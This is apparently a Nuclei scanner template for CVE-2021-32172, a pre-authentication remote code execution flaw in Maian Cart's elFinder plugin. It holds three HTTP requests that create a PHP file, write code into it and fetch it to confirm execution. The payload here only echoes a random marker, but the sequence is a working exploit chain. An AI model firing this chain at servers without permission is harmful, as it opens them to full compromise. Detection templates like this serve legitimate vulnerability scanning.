id: CVE-2021-32172

info:
  name: Maian Cart 3.8 preauth RCE
  author: pdteam
  severity: critical
  description: A severe vulnerability has been kindly reported to me by security advisor DreyAnd. The issue concerns the elFinder file manager plugin in Maian Cart and it affects all versions from 3.0 to 3.8.
  reference:
    - https://dreyand.github.io/maian-cart-rce/
    - https://github.com/DreyAnd/maian-cart-rce
    - https://www.maianscriptworld.co.uk/critical-updates
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32172
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32172
    cwe-id: CWE-862
  tags: cve,cve2021,rce,unauth,maian

requests:
  - raw:
      - |
        GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, /; q=0.01
        Accept-Language: en-US,en;q=0.5
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e

      - |
        GET /product-downloads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    extractors:
      - type: regex
        name: hash
        internal: true
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "{{randstr_1}}")'
          - "status_code_3 == 200"
        condition: and